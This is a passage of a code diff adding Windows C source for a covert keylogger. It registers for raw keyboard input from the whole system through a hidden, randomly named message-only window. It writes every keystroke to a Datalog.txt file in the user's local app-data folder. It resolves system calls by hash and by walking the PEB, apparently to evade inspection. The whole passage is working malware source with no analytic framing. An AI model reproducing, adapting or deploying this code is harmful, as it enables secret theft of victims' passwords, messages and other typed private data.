(!NT_SUCCESS(Status)) + return NULL; + + return hHandle; +} + +BOOL InlineRtlNtUserGetMessage(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax) +{ + BOOL Result; + + if ((wMsgFilterMin | wMsgFilterMax) & ~WM_MAXIMUM) + return FALSE; + + Result = Api.NtUserGetMessage(lpMsg, hWnd, wMsgFilterMin, wMsgFilterMax); + if (-1 == (INT)Result) + return Result; + + return Result; +} + +BOOL InlineRtlNtUserTranslateMessage(PMSG lpMsg, UINT Flags) +{ + switch (lpMsg->message) + { + case WM_KEYDOWN: + case WM_KEYUP: + case WM_SYSKEYDOWN: + case WM_SYSKEYUP: + { + return(Api.NtUserTranslateMessage((LPMSG)lpMsg, Flags)); + } + default: + { + if (lpMsg->message & ~WM_MAXIMUM) + return FALSE; + } + } + + return FALSE; +} + +UINT RtlQueryRawInputSize(HRAWINPUT Input) +{ + UINT ReturnSize = 0; + if(Api.NtUserGetRawInputData(Input, RID_INPUT, NULL, &ReturnSize, sizeof(RAWINPUTHEADER)) == (UINT)-1) + return 0; + else + return ReturnSize; +} + +BOOL InlineRtlNtWriteFile(HANDLE File, LPVOID Buffer) +{ + NTSTATUS Status = ERROR_SUCCESS; + IO_STATUS_BLOCK Block; RtlZeroMemoryInternal(&Block, sizeof(IO_STATUS_BLOCK)); + + Status = Api.NtWriteFile(File, NULL, NULL, NULL, &Block, Buffer, (ULONG)StringLengthW((PWCHAR)Buffer), NULL, NULL); + if (!NT_SUCCESS(Status)) + return FALSE; + + return TRUE; +} + +BOOL RtlFlushInMemoryInputBufferToDisk(HANDLE hHandle, UINT Key) +{ + BYTE lpKeyState[256] = { 0 }; + WORD VirtualKey = 0; + DWORD dwBufferLength = 0; + WCHAR wWriteBuffer[64]; RtlZeroMemoryInternal(wWriteBuffer, sizeof(wWriteBuffer)); + WCHAR AltKeyNameBuffer[64]; RtlZeroMemoryInternal(AltKeyNameBuffer, sizeof(AltKeyNameBuffer)); + DWORD dwWritten = 0; + WCHAR pwszBuff[10] = { 0 }; + + if (!Api.NtUserGetKeyboardState(lpKeyState)) + return FALSE; + + switch (Key) + { + case VK_BACK: + { + if (StringConcatW(wWriteBuffer, (PWCHAR)L"[BS]") != NULL) + dwBufferLength = (DWORD)StringLengthW(wWriteBuffer); + + break; + } + case VK_RETURN: + { + if(StringCopyW(wWriteBuffer, (PWCHAR)L"\r\n") != NULL) + dwBufferLength = (DWORD)StringLengthW(wWriteBuffer); + + break; + } + default: + { + if (Api.NtUserToUnicodeEx(Key, Api.NtUserMapVirtualKeyEx(Key, 0, 0, 0), lpKeyState, pwszBuff, 2, 0, 0) >= 1) + { + StringConcatW(wWriteBuffer, pwszBuff); + dwBufferLength = (DWORD)StringLengthW(wWriteBuffer); + } + else if (Api.NtUserGetKeyNameText(MAKELONG(0, Api.NtUserMapVirtualKeyEx(Key, 0, 0, 0)), AltKeyNameBuffer, 64) > 0) + { + StringConcatW(wWriteBuffer, (PWCHAR)L"["); StringConcatW(wWriteBuffer, AltKeyNameBuffer); StringConcatW(wWriteBuffer, (PWCHAR)L"]"); + dwBufferLength = (DWORD)StringLengthW(wWriteBuffer); + } + + break; + } + } + + if (dwBufferLength > 0) + InlineRtlNtWriteFile(hHandle, wWriteBuffer); + + return TRUE; +} + +LRESULT CALLBACK Wndproc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) +{ + static HANDLE hHandle; + RAWINPUTDEVICE RawInputDevice; + PRAWINPUT Input = 0; + UINT uSize; + + switch (Msg) + { + case WM_CREATE: + { + WCHAR LocalAppDataPath[512] = { 0 }; + + RawInputDevice.usUsagePage = HID_USAGE_PAGE_GENERIC; + RawInputDevice.usUsage = HID_USAGE_GENERIC_KEYBOARD; + RawInputDevice.dwFlags = RIDEV_INPUTSINK; + RawInputDevice.hwndTarget = hWnd; + + if (!Api.NtUserRegisterRawInputDevices(&RawInputDevice, 1, sizeof(RAWINPUTDEVICE))) + InlineWin32uPostQuitMessage(InlineTebGetLastError()); + + if(InlineUppGetEnvironmentVariableW(L"LOCALAPPDATA", LocalAppDataPath, 512) == 0) + InlineWin32uPostQuitMessage(InlineTebGetLastError()); + + StringConcatW(LocalAppDataPath, (PWCHAR)L"\\Datalog.txt"); + + hHandle = InlineNtdllNtCreateFile(LocalAppDataPath); + if (hHandle != NULL) + { + if (InlineRtlSetFilePointerToEnd(hHandle) == INVALID_SET_FILE_POINTER) + InlineWin32uPostQuitMessage(InlineTebGetLastError()); + } + else + InlineWin32uPostQuitMessage(InlineTebGetLastError()); + + break; + } + + case WM_INPUT: + { + uSize = RtlQueryRawInputSize((HRAWINPUT)lParam); + if(uSize == 0) + InlineWin32uPostQuitMessage(InlineTebGetLastError()); + + Input = (PRAWINPUT)Api.RtlAllocateHeap(Api.Peb->ProcessHeap, HEAP_ZERO_MEMORY, uSize); + if(Input == NULL) + InlineWin32uPostQuitMessage(InlineTebGetLastError()); + + if (Api.NtUserGetRawInputData((HRAWINPUT)lParam, RID_INPUT, Input, &uSize, sizeof(RAWINPUTHEADER)) == (UINT)-1) + break; + +#pragma warning( push ) +#pragma warning( disable : 6011) + if(Input->header.dwType == RIM_TYPEKEYBOARD && Input->data.keyboard.Message == WM_KEYDOWN) + RtlFlushInMemoryInputBufferToDisk(hHandle, Input->data.keyboard.VKey); +#pragma warning( pop ) + + Api.RtlFreeHeap(Api.Peb->ProcessHeap, HEAP_ZERO_MEMORY, Input); + + break; + } + + case WM_DESTROY: + { + if (hHandle) + Api.NtClose(hHandle); + + break; + } + + default: + { + return Api.NtdllDefWindowProc_W(hWnd, Msg, wParam, lParam); + } + } + + return ERROR_SUCCESS; +} + +ULONG Next = 2; + +INT PseudoInlineRandomSubroutine(PULONG Context) +{ + return ((*Context = *Context * 1103515245 + 12345) % ((ULONG)RAND_MAX + 1)); +} + +INT PseudoInlineRandom(VOID) +{ + return (PseudoInlineRandomSubroutine(&Next)); +} + +PWCHAR RtlGeneratePseudoRandomString(SIZE_T dwLength) +{ + WCHAR DataSet[] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + PWCHAR String = NULL; + + String = (PWCHAR)Api.RtlAllocateHeap(Api.Peb->ProcessHeap, HEAP_ZERO_MEMORY, (sizeof(WCHAR) * (dwLength + 1))); + if (String == NULL) + return NULL; + + for (INT dwN = 0; dwN < dwLength; dwN++) + { + INT Key = PseudoInlineRandom() % (INT)(StringLengthW(DataSet) - 1); + String[dwN] = DataSet[Key]; + } + +#pragma warning (push) +#pragma warning (disable: 6386) + String[dwLength] = '\0'; +#pragma warning (pop) + + return String; +} + +BOOL LdrLoadNtDllFunctionality(VOID) +{ + Api.LdrLoadDll = (LDRLOADDLL)ImportFunction(Api.PeBase, LDRLOADDLL_SIG); + Api.RtlAllocateHeap = (RTLALLOCATEHEAP)ImportFunction(Api.PeBase, RTLALLOCATEHEAP_SIG); + Api.RtlFreeHeap = (RTLFREEHEAP)ImportFunction(Api.PeBase, RTLFREEHEAP_SIG); + Api.NtClose = (NTCLOSE)ImportFunction(Api.PeBase, NTCLOSE_SIG); + Api.RtlDosPathNameToNtPathName_U = (RTLDOSPATHNAMETONTPATHNAME_U)ImportFunction(Api.PeBase, RTLDOSPATHNAMETONTPATHNAME_U_SIG); + Api.NtCreateFile = (NTCREATEFILE)ImportFunction(Api.PeBase, NTCREATEFILE_SIG); + Api.NtdllDefWindowProc_W = (NTDLLDEFWINDOWPROC_W)ImportFunction(Api.PeBase, NTDLLDEFWINDOWPROC_W_SIG); + Api.NtQueryInformationFile = (NTQUERYINFORMATIONFILE)ImportFunction(Api.PeBase, NTQUERYINFORMATIONFILE_SIG); + Api.NtSetInformationFile = (NTSETINFORMATIONFILE)ImportFunction(Api.PeBase, NTSETINFORMATIONFILE_SIG); + Api.NtWriteFile = (NTWRITEFILE)ImportFunction(Api.PeBase, NTWRITEFILE_SIG); + + if (!Api.LdrLoadDll || !Api.RtlAllocateHeap || !Api.RtlFreeHeap || !Api.NtClose) + return FALSE; + + if (!Api.RtlDosPathNameToNtPathName_U || !Api.NtCreateFile || !Api.NtdllDefWindowProc_W) + return FALSE; + + if (!Api.NtQueryInformationFile || !Api.NtSetInformationFile || !Api.NtWriteFile) + return FALSE; + + return TRUE; +} + +BOOL RtlGetWin32uImageBase(VOID) +{ + NTSTATUS Status = 0; + UNICODE_STRING Win32u; RtlInitUnicodeString(&Win32u, (PWCHAR)L"Win32u.dll"); + + Status = Api.LdrLoadDll(NULL, 0, &Win32u, (PHANDLE)&Api.Win32uBase); + if (!NT_SUCCESS(Status)) + return FALSE; + + return TRUE; +} + +BOOL LdrLoadWin32uFunctionality(VOID) +{ + if (!RtlGetWin32uImageBase()) + return FALSE; + + Api.NtUserCallOneParam = (NTUSERCALLONEPARAM)ImportFunction(Api.Win32uBase, NTUSERCALLONEPARAM_SIG); + Api.NtUserDestroyWindow = (NTUSERDESTROYWINDOW)ImportFunction(Api.Win32uBase, NTUSERDESTROYWINDOW_SIG); + Api.NtUserRegisterRawInputDevices = (NTUSERREGISTERRAWINPUTDEVICES)ImportFunction(Api.Win32uBase, NTUSERREGISTERRAWINPUTDEVICES_SIG); + Api.NtUserGetRawInputData = (NTUSERGETRAWINPUTDATA)ImportFunction(Api.Win32uBase, NTUSERGETRAWINPUTDATA_SIG); + Api.NtUserGetKeyboardState = (NTUSERGETKEYBOARDSTATE)ImportFunction(Api.Win32uBase, NTUSERGETKEYBOARDSTATE_SIG); + Api.NtUserToUnicodeEx = (NTUSERTOUNICODEEX)ImportFunction(Api.Win32uBase, NTUSERTOUNICODEEX_SIG); + Api.NtUserMapVirtualKeyEx = (NTUSERMAPVIRTUALKEYEX)ImportFunction(Api.Win32uBase, NTUSERMAPVIRTUALKEYEX_SIG); + Api.NtUserGetKeyNameText = (NTUSERGETKEYNAMETEXT)ImportFunction(Api.Win32uBase, NTUSERGETKEYNAMETEXT_SIG); + Api.NtUserGetMessage = (NTUSERGETMESSAGE)ImportFunction(Api.Win32uBase, NTUSERGETMESSAGE_SIG); + Api.NtUserTranslateMessage = (NTUSERTRANSLATEMESSAGE)ImportFunction(Api.Win32uBase, NTUSERTRANSLATEMESSAGE_SIG); + + if (!Api.NtUserCallOneParam || !Api.NtUserDestroyWindow || !Api.NtUserRegisterRawInputDevices || !Api.NtUserGetRawInputData) + return FALSE; + + if (!Api.NtUserGetKeyboardState || !Api.NtUserToUnicodeEx || !Api.NtUserMapVirtualKeyEx || !Api.NtUserGetKeyNameText) + return FALSE; + + if (!Api.NtUserGetMessage || !Api.NtUserTranslateMessage) + return FALSE; + + return TRUE; +} + +INT WINAPI wWinMain(_In_ HINSTANCE hInstance, + _In_opt_ HINSTANCE hPrevInstance, + _In_ LPWSTR lpCmdLine, + _In_ INT nShowCmd) +{ + HWND WindowHandle = NULL; + MSG Msg; + Api.Teb = (PTEB)GetTeb(); Api.Peb = (PPEB)Api.Teb->ProcessEnvironmentBlock; + PLDR_MODULE LoaderModule = NULL; + + if (Api.Peb->OSMajorVersion != 0x0a) + return ERROR_CALL_NOT_IMPLEMENTED; + + LoaderModule = (PLDR_MODULE)((PBYTE)Api.Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 16); + Api.PeBase = (DWORD64)LoaderModule->BaseAddress; + + if(!LdrLoadNtDllFunctionality()) + return ERROR_INVALID_FUNCTION; + + if(!LdrLoadWin32uFunctionality()) + return ERROR_INVALID_FUNCTION; + + Api.lpszClassNameBuffer = (PWCHAR)RtlGeneratePseudoRandomString(10); + + WNDCLASSEXW WndClass; RtlZeroMemoryInternal(&WndClass, sizeof(WndClass)); + WndClass.cbSize = sizeof(WNDCLASSEXW); + WndClass.lpfnWndProc = Wndproc; + WndClass.hInstance = hInstance; + WndClass.lpszClassName = Api.lpszClassNameBuffer; + + if (!RegisterClassExW(&WndClass)) + return InlineTebGetLastError(); + + WindowHandle = CreateWindowExW(0, Api.lpszClassNameBuffer, NULL, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, hInstance, NULL); + if (WindowHandle == NULL) + return InlineTebGetLastError(); + + while (InlineRtlNtUserGetMessage(&Msg, NULL, 0, 0) > 0) + { + InlineRtlNtUserTranslateMessage(&Msg, 0); + DispatchMessageW(&Msg); + } + + Api.NtUserDestroyWindow(WindowHandle); + Api.RtlFreeHeap(Api.Peb->ProcessHeap, HEAP_ZERO_MEMORY, Api.lpszClassNameBuffer); + + return ERROR_SUCCESS; +} \ No newline at end of file